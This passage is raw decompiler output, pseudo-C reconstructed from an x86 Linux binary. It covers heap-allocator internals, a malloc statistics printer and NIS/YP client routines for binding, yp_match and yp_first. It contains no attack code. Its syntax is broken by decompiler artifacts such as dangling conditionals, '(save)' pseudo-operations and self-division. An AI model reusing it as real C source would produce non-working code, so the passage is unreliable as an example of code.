            if(Vfffffff4 >= Vfffffffc) {
                eax = A8;
            } else {
                ebx = L0805BD74(Ac);
                if(ebx == 0) {
                    goto L0805c746;
                }
                L0805652C(ebx, A8, Vfffffff4 + -4);
                (save)Vfffffff8;
                L0805BB34();
                eax = ebx;
            }
        } else {
            if(Vfffffff4 < Vfffffffc) {
                ecx = Vfffffff8 + Vfffffff4;
                if(*L08078B38 != ecx && *(( *ecx & 254) + ecx) & 1) {
                    goto L0805c64c;
                }
                bl = *ecx & 252;
                if(*L08078B38 == ecx) {
                    esi = Vfffffff0 + ebx;
                    if(esi < Vfffffffc + 16) {
                        goto L0805c650;
                    }
                    eax = Vfffffff8 + Vfffffffc;
                    *L08078B38 = eax;
                    *( *L08078B38) = esi - Vfffffffc | 1;
                    edi = Vfffffff8;
                    *edi = *edi & 1 | Vfffffffc;
                    eax = Vfffffff8 + 4;
                    goto L0805c7d0;
                }
                edx = Vfffffff0 + ebx;
                Vffffffec = edx;
                if(edx >= Vfffffffc) {
                    eax = *(ecx + 8);
                    ecx = *(ecx + 4);
                    *(ecx + 8) = eax;
                    *(eax + 4) = ecx;
                    Vfffffff0 = edx;
                    goto L0805c78a;
L0805c64c:
                    ecx = 0;
                    ebx = 0;
                }
L0805c650:
                edx = Vfffffff8;
                if(!( *edx & 1)) {
                    edx = edx - *(edx - 4);
                    Vffffffec = edx;
                    esi = *edx & -4;
                    if(ecx != 0) {
                        if(*L08078B38 != ecx) {
                            goto L0805c6d8;
                        }
                        eax = esi + ebx;
                        ebx = Vfffffff0 + eax;
                        if(ebx >= Vfffffffc + 16) {
                            eax = *(edx + 8);
                            ecx = *(edx + 4);
                            *(ecx + 8) = eax;
                            *(eax + 4) = ecx;
                            esi = Vffffffec;
                            Vfffffff0 = ebx;
                            ebx = esi + 4;
                            L0805652C(ebx, A8, Vfffffff4 + -4);
                            edx = Vfffffffc + esi;
                            *L08078B38 = edx;
                            *( *L08078B38) = Vfffffff0 - Vfffffffc | 1;
                            *esi = *esi & 1 | Vfffffffc;
                            eax = ebx;
                            goto L0805c7d0;
L0805c6d8:
                            eax = esi + ebx;
                            ebx = Vfffffff0 + eax;
                            if(Vfffffffc <= ebx) {
                                eax = *(ecx + 8);
                                ecx = *(ecx + 4);
                                *(ecx + 8) = eax;
                                *(eax + 4) = ecx;
                                goto L0805c704;
                            }
                        }
                    }
                    if(Vffffffec != 0) {
                        ebx = Vfffffff0 + esi;
                        if(Vfffffffc <= ebx) {
L0805c704:
                            edi = Vffffffec;
                            eax = *(edi + 8);
                            ecx = *(edi + 4);
                            *(ecx + 8) = eax;
                            *(eax + 4) = ecx;
                            esi = Vffffffec;
                            Vfffffff0 = ebx;
                            ebx = esi + 4;
                            L0805652C(ebx, A8, Vfffffff4 + -4);
                            goto L0805c78a;
                        }
                    }
                }
                ebx = L0805BD74(Ac);
                if(ebx == 0) {
L0805c746:
                    eax = 0;
                    goto L0805c7d0;
                }
                esi = ebx - 4;
                edx = Vfffffff8;
                if(esi != ( *edx & 254) + edx) {
                    edi = A8;
                    L0805652C(ebx, edi, Vfffffff4 + -4);
                    L0805C290(edi);
                    eax = ebx;
                    goto L0805c7d0;
                }
                Vfffffff0 = Vfffffff0 + ( *esi & 252);
                esi = Vfffffff8;
            }
L0805c78a:
            ecx = Vfffffff0 - Vfffffffc;
            if(ecx > 15) {
                eax = Vfffffffc + esi;
                *esi = *esi & 1 | Vfffffffc;
                *eax = ecx | 1;
                *(ecx + eax) = *(ecx + eax) | 1;
                L0805C290(eax + 4);
            } else {
                *esi = *esi & 1 | Vfffffff0;
                *(Vfffffff0 + esi) = *(Vfffffff0 + esi) | 1;
            }
L0805c7cd:
            eax = esi + 4;
        }
    }
L0805c7d0:
    esp = ebp - 32;
}

/*	Procedure: 0x0805C7DA - 0x0805C7DB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805C7DA()
{



}

/*	Procedure: 0x0805C7DC - 0x0805C8EA
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 12
 */

L0805C7DC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    edx = Ac;
    if(ebx <= 8) {
        eax = L0805BD74(edx);
    } else {
        if(ebx <= 15) {
            ebx = 16;
        }
        edi = edx > 11 ? edx + 11 & -8 : 16;
        eax = L0805BD74(ebx + edi + 16);
        Vfffffffc = eax;
        if(Vfffffffc == 0) {
            eax = 0;
        } else {
            esi = Vfffffffc + -4;
            eax = Vfffffffc;
            edx = 0;
            ebx = ebx / ebx;
            if(ebx % ebx == 0) {
                if(*(Vfffffffc - 4) & 2) {
                    goto L0805c8b8;
                }
                eax = Vfffffffc;
            } else {
                edx = ebx + Vfffffffc - 1;
                edx = (edx & ~ebx) + -4;
                if(edx - esi <= 15) {
                    edx = edx + ebx;
                }
                ebx = edx;
                edx = edx - esi;
                ecx = ( *esi & 252) - edx;
                if(!( *esi & 2)) {
                    *(ebx - 4) = edx + *(esi - 4);
                    *ebx = cl | 2;
                    eax = ebx + 4;
                } else {
                    *ebx = ecx | 1;
                    *(ecx + ebx) = *(ecx + ebx) | 1;
                    *esi = edx | *esi & 1;
                    esi = esi + 4;
                    Vfffffffc = esi;
                    L0805C290(Vfffffffc);
                    esi = ebx;
L0805c8b8:
                    edx = ( *esi & 252) - edi;
                    if(edx > 15) {
                        eax = edi + esi;
                        *eax = dl | 1;
                        *esi = *esi & 1 | edi;
                        L0805C290(eax + 4);
                    }
                    eax = esi + 4;
                }
            }
        }
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805C8EB - 0x0805C900
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805C8EB(A8)
/* unknown */ void  A8;
{



    return(L0805C7DC(4096, A8));
}

/*	Procedure: 0x0805C901 - 0x0805C903
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805C901()
{



}

/*	Procedure: 0x0805C904 - 0x0805C943
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L0805C904(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    eax = A8;
    Ac = Ac * eax;
    ebx = L0805BD74(eax);
    if(ebx == 0) {
        eax = 0;
    } else {
        if(!( *(ebx - 4) & 2)) {
            L08057764(ebx, 0, ( *(ebx - 4) & 252) + -4);
        }
        eax = ebx;
    }
}

/*	Procedure: 0x0805C944 - 0x0805C9F1
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L0805C944(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = *( *L08078B38) & -4;
    ebx = (esi - A8 + 4079 >> 12) - 1 << 12;
    if(ebx >= 4096 && *( *L08078B30)(0) == esi + *L08078B38) {
        if(*( *L08078B30)( ~ebx) != 0) {
            goto L0805c9d0;
        }
        edx = *( *L08078B30)(0);
        esi = edx - *L08078B38;
        if(esi > 15) {
            *L08078F58 = edx - *L08078F4C;
            *( *L08078B38) = esi | 1;
        }
    }
    eax = 0;
    goto L0805c9e9;
L0805c9d0:
    *( *L08078B38) = esi - ebx | 1;
    *L08078F58 = *L08078F58 - ebx;
    eax = 1;
L0805c9e9:
}

/*	Procedure: 0x0805C9F2 - 0x0805CA22
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805C9F2(A8)
/* unknown */ void  A8;
{



    eax = A8;
    if(eax == 0) {
L0805c9fe:
        return(0);
    }
    edx = eax - 4;
    if(!( *(eax - 4) & 2) && *(( *(eax - 4) & 254) + edx) & 1) {
        goto L0805c9fe;
    }
    eax = ( *edx & 252) + -4;
    esp = ebp;
}

/*	Procedure: 0x0805CA23 - 0x0805CA23
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CA23()
{



}

/*	Procedure: 0x0805CA24 - 0x0805CBA7
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 12
 */

L0805CA24()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    bl = *( *L08078B38) & 252;
    al = ebx :: 15 > 0;
    ecx = al & 255;
    esi = 0x8078b3c;
    Vfffffff8 = 8;
    edx = *L08078B44;
    if(edx != 0x8078b3c) {
        do {
            ebx = ebx + ( *edx & 252);
            ecx = ecx + 1;
            edx = *(edx + 8);
        } while(edx != esi);
    }
    esi = esi + 8;
    Vfffffff8 = Vfffffff8 + 8;
    edx = *(Vfffffff8 + 0x8078b3c);
    do {
        ebx = ebx + ( *edx & 252);
        ecx = ecx + 1;
        edx = *(edx + 8);
    } while(edx != esi);
    esi = esi + 8;
    Vfffffff8 = Vfffffff8 + 8;
    edx = *(Vfffffff8 + 0x8078b3c);
    do {
        ebx = ebx + ( *edx & 252);
        ecx = ecx + 1;
        edx = *(edx + 8);
    } while(edx != esi);
    esi = esi + 8;
    Vfffffff8 = Vfffffff8 + 8;
    if(esi != 0x8078f34) {
        Vfffffffc = Vfffffff8 + 0x8078b3c;
        do {
            edx = *Vfffffffc;
            do {
                ebx = ebx + ( *edx & 252);
                ecx = ecx + 1;
                edx = *(edx + 8);
            } while(edx != esi);
            Vfffffff8 = esi + 8;
            edx = *(Vfffffffc + 8);
            do {
                ebx = ebx + ( *edx & 252);
                ecx = ecx + 1;
                edx = *(edx + 8);
            } while(Vfffffff8 != edx);
            Vfffffff8 = esi + 16;
            edx = *(Vfffffffc + 16);
            do {
                ebx = ebx + ( *edx & 252);
                ecx = ecx + 1;
                edx = *(edx + 8);
            } while(Vfffffff8 != edx);
            Vfffffff8 = esi + 24;
            edx = *(Vfffffffc + 24);
            do {
                ebx = ebx + ( *edx & 252);
                ecx = ecx + 1;
                edx = *(edx + 8);
            } while(Vfffffff8 != edx);
            esi = esi + 32;
            Vfffffffc = Vfffffffc + 32;
        } while(esi != 0x8078f34);
    }
    *L08078F5C = ecx;
    *L08078F74 = *L08078F58 - ebx;
    *L08078F78 = ebx;
    *L08078F64 = *L08078F80;
    *L08078F68 = *L08078F88;
    al = *( *L08078B38) & 252;
    *L08078F7C = eax;
    esp = ebp - 20;
    return(*L08078F7C);
}

/*	Procedure: 0x0805CBA8 - 0x0805CC16
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CBA8()
{



    L0805CA24();
    L0804F680(0x80787a4, "max system bytes = %10u\n", *L08078F54);
    L0804F680(0x80787a4, "system bytes = %10u\n", *L08078F58 + *L08078F88);
    L0804F680(0x80787a4, "in use bytes = %10u\n", *L08078F74 + *L08078F88);
    return(L0804F680(0x80787a4, "max mmap regions = %10u\n", *L08078F84));
}

/*	Procedure: 0x0805CC17 - 0x0805CC40
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L0805CC17(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    L0805CA24();
    edi = A8;
    esi = 0x8078f58;
    asm("cld");
    ecx = 10;
    asm("rep movsd");
    return(A8);
}

/*	Procedure: 0x0805CC41 - 0x0805CCAD
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CC41(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(A8 != -3) {
        > ? L0805cc5c : ;
        if(A8 == -4) {
            goto L0805cc98;
        }
        goto L0805cca8;
        if(A8 != -2) {
            if(A8 != -1) {
                goto L0805cca8;
            }
            *L08078F3C = Ac;
            return(1);
        }
        *L08078F40 = Ac;
        esp = ebp;
        return(1);
    }
    *L08078F48 = Ac;
    esp = ebp;
    return(1);
L0805cc98:
    *L08078F44 = Ac;
    esp = ebp;
    return(1);
L0805cca8:
    esp = ebp;
    return(0);
}

/*	Procedure: 0x0805CCAE - 0x0805CCAF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CCAE()
{



}

/*	Procedure: 0x0805CCB0 - 0x0805CDEC
 *	Argument size: 20
 *	Local size: 4
 *	Save regs size: 12
 */

L0805CCB0(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffffc;



    time( & Vfffffffc);
    ebx = *L0807E398;
    if(ebx != 0) {
        do {
            if(Vfffffffc > *(ebx + 24)) {
                break;
            }
            ebx = *ebx;
        } while(ebx != 0);
        if(ebx != 0) {
            goto L0805cd14;
        }
    }
    ebx = L0805BD74(28);
    (save)28;
    (save)ebx;
    L0806626C();
    esp = esp + 12;
    if(*L0807E398 != 0) {
        *ebx = *L0807E398;
    }
    *L0807E398 = ebx;
L0805cd14:
    if(*(ebx + 8) != 0) {
        L0805C290( *(ebx + 8));
    }
    if(*(ebx + 12) != 0) {
        L0805C290( *(ebx + 12));
    }
    *(ebx + 8) = 0;
    *(ebx + 12) = 0;
    eax = L0805BD74(A10);
    *(ebx + 8) = eax;
    if(eax != 0) {
        *(ebx + 12) = L0805BD74(A18);
        if(*(ebx + 8) == 0) {
            eax = L0805C290(0);
            *(ebx + 8) = 0;
        } else {
            *(ebx + 16) = A10;
            *(ebx + 20) = A18;
            L08056480(Ac, *(ebx + 8), *(ebx + 16));
            L08056480(A14, *(ebx + 12), *(ebx + 20));
            if(*(ebx + 4) != 0) {
                eax = L08057ADC( *(ebx + 4), A8);
                if(eax == 0) {
                    goto L0805cdd7;
                }
                L0805C290( *(ebx + 4));
            }
            eax = L08056664(A8);
            *(ebx + 4) = eax;
L0805cdd7:
            *(ebx + 24) = Vfffffffc + *L08069038;
        }
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805CDED - 0x0805CDEF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CDED()
{



}

/*	Procedure: 0x0805CDF0 - 0x0805CE80
 *	Argument size: 20
 *	Local size: 4
 *	Save regs size: 12
 */

L0805CDF0(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffffc;



    if(*L0807E398 == 0) {
        goto L0805ce75;
L0805ce0c:
        eax = *(ebx + 12);
        *A14 = eax;
        eax = *(ebx + 20);
        *A18 = eax;
        eax = 1;
    } else {
        time( & Vfffffffc);
        ebx = *L0807E398;
        do {
            if(*(ebx + 16) == A10 && L08057ADC( *(ebx + 4), A8) == 0 && L08056450( *(ebx + 8), Ac, A10) == 0 && *(ebx + 24) >= Vfffffffc) {
                goto L0805ce0c;
            }
            ebx = *ebx;
        } while(ebx != 0);
L0805ce75:
        eax = 0;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805CE81 - 0x0805CE83
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805CE81()
{



}

/*	Procedure: 0x0805CE84 - 0x0805D2F2
 *	Argument size: 8
 *	Local size: 1104
 *	Save regs size: 12
 */

L0805CE84(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffbb0;
	/* unknown */ void  Vfffffbb4;
	/* unknown */ void  Vfffffbb8;
	/* unknown */ void  Vfffffbbc;
	/* unknown */ void  Vfffffbc0;
	/* unknown */ void  Vfffffbc6;
	/* unknown */ void  Vfffffbc8;
	/* unknown */ void  Vfffffbcc;
	/* unknown */ void  Vfffffbd0;
	/* unknown */ void  Vfffffbd4;
	/* unknown */ void  Vfffffbd8;
	/* unknown */ void  Vfffffbdc;
	/* unknown */ void  Vfffffbe0;
	/* unknown */ void  Vfffffbe4;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffbb4 = 0;
    eax = L08057230();
    Vfffffbb0 = eax;
    if(*L08078F94 != -1 && *L08078F94 != eax) {
        esi = *L0807EB94;
        do {
            if(*(esi + 288) != 0) {
                edx = *(esi + 288);
                *( *( *(edx + 4) + 16))(edx);
            }
            ebx = *esi;
            L0805C290(esi);
            esi = ebx;
        } while(esi != 0);
        *L0807EB94 = 0;
    }
    *L08078F94 = Vfffffbb0;
    if(Ac != 0) {
        *Ac = 0;
    }
    if(A8 != 0) {
        al = 0;
        edi = A8;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        if(ecx != -2) {
            goto L0805cf34;
        }
    }
    eax = 1;
    goto L0805d2e6;
L0805cf34:
    esi = *L0807EB94;
    if(esi != 0) {
        do {
            if(L08057ADC(A8, esi + 4) == 0) {
                break;
            }
            esi = *esi;
        } while(esi != 0);
        if(esi != 0) {
            goto L0805cf96;
        }
    }
    esi = L0805BD74(300);
    (save)300;
    (save)esi;
    L0806626C();
    *(esi + 284) = -1;
    *(esi + 296) = 0;
    Vfffffbb4 = 1;
    esp = esp + 12;
L0805cf96:
    while(1) {
        if(*(esi + 296) == 0) {
            (save)2;
            ebx = & Vfffffbe4;
            sprintf(ebx, "%s/%s.%d", "/var/yp/binding");
            ebx = L080572DC(ebx, 0, A8);
            if(ebx >= 0) {
                goto L0805cfda;
            }
        }
        if(*(esi + 296) + 1 <= 1) {
            ebx = & Vffffffe4;
            L0806626C(ebx, 16);
            Vffffffe4 = 2;
            Vffffffe8 = 16777343;
            Vfffffbc0 = -1;
            ebx = L08063B04(ebx, 100007, 2, & Vfffffbc0, 0, 0);
            if(ebx == 0) {
                goto L0805d12b;
            }
            Vfffffbb8 = *L08069030;
            Vfffffbbc = 0;
            edx = *(ebx + 4);
            if(*( *edx)(ebx, 1, 0x8066464, A8, 0x8066800, & Vfffffff4, Vfffffbb8, Vfffffbbc) != 0) {
                goto L0805d126;
            }
            *( *( *(ebx + 4) + 16))(ebx);
            if(Vfffffff4 != 1) {
                goto L0805d156;
            }
            L0806626C(esi + 264, 16);
            *(esi + 264) = 2;
            *(esi + 266) = Vfffffffc;
            *(esi + 268) = Vfffffff8;
            *(esi + 280) = Vfffffffc;
            goto L0805d1fd;
L0805cfda:
            Vfffffbd4 = & Vfffffbc6;
            Vfffffbd8 = 2;
            Vfffffbdc = & Vfffffbc8;
            Vfffffbe0 = 12;
            eax = L08065E1C(ebx, & Vfffffbd4, 2);
            if(eax != Vfffffbd8 + Vfffffbe0) {
                goto L0805d023;
            }
L0805d03c:
            (save)16;
            (save)esi + 264;
            L0806626C();
            *(esi + 264) = 2;
            *(esi + 268) = Vfffffbcc;
            dx = Vfffffbd0;
            *(esi + 266) = dx;
            *(esi + 280) = *(esi + 266);
            close(ebx);
L0805d1fd:
            *(esi + 296) = 2;
            (save)A8;
            L08056640(esi + 4);
        }
        Vfffffbb8 = ( *L08069030 >> 31) + *L08069030 >> 1;
        Vfffffbbc = 0;
        if(*(esi + 288) != 0) {
            edx = *(esi + 288);
            *( *( *(edx + 4) + 16))(edx);
        }
        *(esi + 284) = -1;
        eax = L08064400(esi + 264, 100004, 2, Vfffffbb8, Vfffffbbc, esi + 284);
        *(esi + 288) = eax;
        if(*(esi + 288) != 0) {
            goto L0805d2a0;
        }
        *(esi + 296) = -1;
        continue;
L0805d023:
        close(ebx);
        *(esi + 296) = -1;
    }
    goto L0805d03c;
L0805d126:
    *( *( *(ebx + 4) + 16))(ebx);
L0805d12b:
    if(Vfffffbb4 != 0) {
        L0805C290(esi);
    }
    eax = 10;
    goto L0805d2e6;
L0805d156:
    edx = Vfffffff8;
    if(edx != 2) {
        > ? L0805d168 : ;
        if(edx != 1) {
            goto L0805d198;
            if(edx == 3) {
                goto L0805d190;
            }
            goto L0805d198;
        }
        (save)"YPBINDPROC_DOMAIN: Internal error\n";
    } else {
        L0804F680(0x80787a4, "YPBINDPROC_DOMAIN: No bound server for domain %s\n", A8);
        goto L0805d1aa;
L0805d190:
        (save)"YPBINDPROC_DOMAIN: Resource allocation failure\n";
        goto L0805d19d;
L0805d198:
        (save)"YPBINDPROC_DOMAIN: Unknown error\n";
    }
L0805d19d:
    (save)0x80787a4;
    L0804F680();
    esp = esp + 8;
L0805d1aa:
    if(Vfffffbb4 != 0) {
        L0805C290(esi);
    }
    eax = 3;
    goto L0805d2e6;
L0805d2a0:
    if(L080660F4( *(esi + 284), 2, 1) == -1) {
        L080625DC("fcntl: F_SETFD");
    }
    if(Vfffffbb4 != 0) {
        *esi = *L0807EB94;
        *L0807EB94 = esi;
    }
    if(Ac != 0) {
        *Ac = esi;
    }
    eax = 0;
L0805d2e6:
    esp = ebp + -1116;
}

/*	Procedure: 0x0805D2F3 - 0x0805D2F3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805D2F3()
{



}

/*	Procedure: 0x0805D2F4 - 0x0805D324
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0805D2F4(A8)
/* unknown */ void  A8;
{



    eax = *(A8 + 288);
    *(A8 + 288) = 0;
    *(A8 + 284) = -1;
    return(*( *( *(eax + 4) + 16))(eax));
}

/*	Procedure: 0x0805D325 - 0x0805D327
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805D325()
{



}

/*	Procedure: 0x0805D328 - 0x0805D339
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805D328(A8)
/* unknown */ void  A8;
{



    return(L0805CE84(A8, 0));
}

/*	Procedure: 0x0805D33A - 0x0805D3A5
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L0805D33A(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = 0;
    ebx = *L0807EB94;
    if(ebx != 0) {
        do {
            eax = L08057ADC(A8, ebx + 4);
            if(eax == 0) {
                goto L0805d365;
            }
            esi = ebx;
            ebx = *ebx;
        } while(ebx != 0);
        goto L0805d39c;
L0805d365:
        eax = *(ebx + 288);
        *( *( *(eax + 4) + 16))(eax);
        if(esi != 0) {
            *esi = *ebx;
        } else {
            *L0807EB94 = *ebx;
        }
        eax = L0805C290(ebx);
    }
L0805d39c:
}

/*	Procedure: 0x0805D3A6 - 0x0805D3A7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805D3A6()
{



}

/*	Procedure: 0x0805D3A8 - 0x0805D5F7
 *	Argument size: 24
 *	Local size: 44
 *	Save regs size: 12
 */

L0805D3A8(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffdc = 0;
    if(A8 == 0 || *A8 == 0 || Ac == 0 || *Ac == 0 || A10 == 0 || A14 == 0 || *A10 == 0) {
        eax = 1;
    } else {
        *A18 = 0;
        *A1c = 0;
        do {
            eax = L0805CE84(A8, & Vffffffe0);
            if(eax != 0) {
                goto L0805d5ee;
            }
            if(L08057ADC(0x807e358, A8) == 0 && L0805CDF0(Ac, A10, A14, & Vfffffff8, & Vfffffffc) != 0) {
                goto L0805d458;
            }
            Vffffffd4 = *L08069030;
            Vffffffd8 = 0;
            Vffffffe4 = A8;
            Vffffffe8 = Ac;
            Vffffffec = A10;
            Vfffffff0 = A14;
            (save)12;
            ebx = & Vfffffff4;
            (save)ebx;
            L0806626C();
            ecx = *(Vffffffe0 + 288);
            eax = *(ecx + 4);
            (save)Vffffffd8;
            (save)Vffffffd4;
            (save)ebx;
            (save)0x80665a0;
            (save) & Vffffffe4;
            (save)0x8066514;
            (save)3;
            (save)ecx;
            ebx = *( *eax)();
            esp = esp + 40;
            if(ebx == 0) {
                goto L0805d54c;
            }
            (save)"yp_match: clnt_call";
            (save) *(Vffffffe0 + 288);
            L08063894();
            edx = Vffffffe0;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vffffffdc;
            Vffffffdc = Vffffffdc + 1;
        } while(*L08069034 > edx);
        goto L0805d540;
L0805d458:
        esi = A1c;
        *esi = Vfffffffc;
        eax = L0805BD74( *esi + 2);
        *A18 = eax;
        L08056480(Vfffffff8, eax, *A1c);
        esi = A1c;
        *( *esi + *A18) = 10;
        ecx = *esi;
        *( *A18 + ecx + 1) = 0;
        eax = 0;
        goto L0805d5ee;
L0805d540:
        eax = 2;
        goto L0805d5ee;
L0805d54c:
        ebx = L0805DFE0(Vfffffff4);
        if(ebx == 0) {
            esi = A1c;
            *esi = Vfffffffc;
            eax = L0805BD74( *esi + 2);
            *A18 = eax;
            L08056480(Vfffffff8, eax, *A1c);
            esi = A1c;
            *( *esi + *A18) = 10;
            ecx = *esi;
            *( *A18 + ecx + 1) = 0;
            if(L08057ADC(0x807e358, A8) == 0) {
                L0805CCB0(Ac, A10, A14, *A18, *A1c);
            }
        }
        (save) & Vfffffff4;
        (save)0x80665a0;
        L08064E74();
        L0805D2F4(Vffffffe0);
        eax = ebx;
    }
L0805d5ee:
    esp = ebp - 56;
}

/*	Procedure: 0x0805D5F8 - 0x0805D636
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0805D5F8(A8)
/* unknown */ void  A8;
{



    *A8 = 0;
    if(*L0807E358 == 0 && L08065C84(0x807e358, 64) != 0) {
        eax = 12;
    } else {
        *A8 = 0x807e358;
        eax = 0;
    }
}

/*	Procedure: 0x0805D637 - 0x0805D637
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805D637()
{



}

/*	Procedure: 0x0805D638 - 0x0805D813
 *	Argument size: 24
 *	Local size: 44
 *	Save regs size: 12
 */

L0805D638(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffdc = 0;
    *A18 = 0;
    *A10 = 0;
    *A1c = 0;
    *A14 = 0;
    if(A8 == 0 || *A8 == 0 || Ac == 0 || *Ac == 0) {
        eax = 1;
    } else {
        do {
            if(L0805CE84(A8, & Vffffffe8) != 0) {
                goto L0805d6a8;
            }
            Vffffffd4 = *L08069030;
            Vffffffd8 = 0;
            Vffffffe0 = A8;
            Vffffffe4 = Ac;
            (save)20;
            ebx = & Vffffffec;
            (save)ebx;
            L0806626C();
            ecx = *(Vffffffe8 + 288);
            eax = *(ecx + 4);
            (save)Vffffffd8;
            (save)Vffffffd4;
            (save)ebx;
            (save)0x80665dc;
            (save) & Vffffffe0;
            (save)0x8066564;
            (save)4;
            (save)ecx;
            ebx = *( *eax)();
            esp = esp + 40;
            if(ebx == 0) {
                goto L0805d754;
            }
            (save)"yp_first: clnt_call";
            (save) *(Vffffffe8 + 288);
            L08063894();
            edx = Vffffffe8;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vffffffdc;
            Vffffffdc = Vffffffdc + 1;
        } while(*L08069034 > edx);
        goto L0805d748;
L0805d6a8:
        eax = 3;
        goto L0805d80a;
L0805d748:
        eax = 2;
        goto L0805d80a;
L0805d754:
        ebx = L0805DFE0(Vffffffec);
        if(ebx == 0) {
            esi = A14;
            *esi = Vfffffff4;
            eax = L0805BD74( *esi + 2);
            *A10 = eax;
            L08056480(Vfffffff0, eax, *A14);
            esi = A14;
            *( *esi + *A10) = 10;
            ecx = *esi;
            *( *A10 + ecx + 1) = 0;
            esi = A1c;
            *esi = Vfffffffc;
            eax = L0805BD74( *esi + 2);
            *A18 = eax;
            L08056480(Vfffffff8, eax, *A1c);
            esi = A1c;
            *( *esi + *A18) = 10;
            ecx = *esi;
            *( *A18 + ecx + 1) = 0;
        }
        (save) & Vffffffec;
        (save)0x80665dc;
        L08064E74();
        L0805D2F4(Vffffffe8);
        eax = ebx;
    }
L0805d80a:
    esp = ebp - 56;
}

/*	Procedure: 0x0805D814 - 0x0805DA0F
 *	Argument size: 32
 *	Local size: 52
 *	Save regs size: 12
 */

L0805D814(A8, Ac, A10, A14, A18, A1c, A20, A24)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
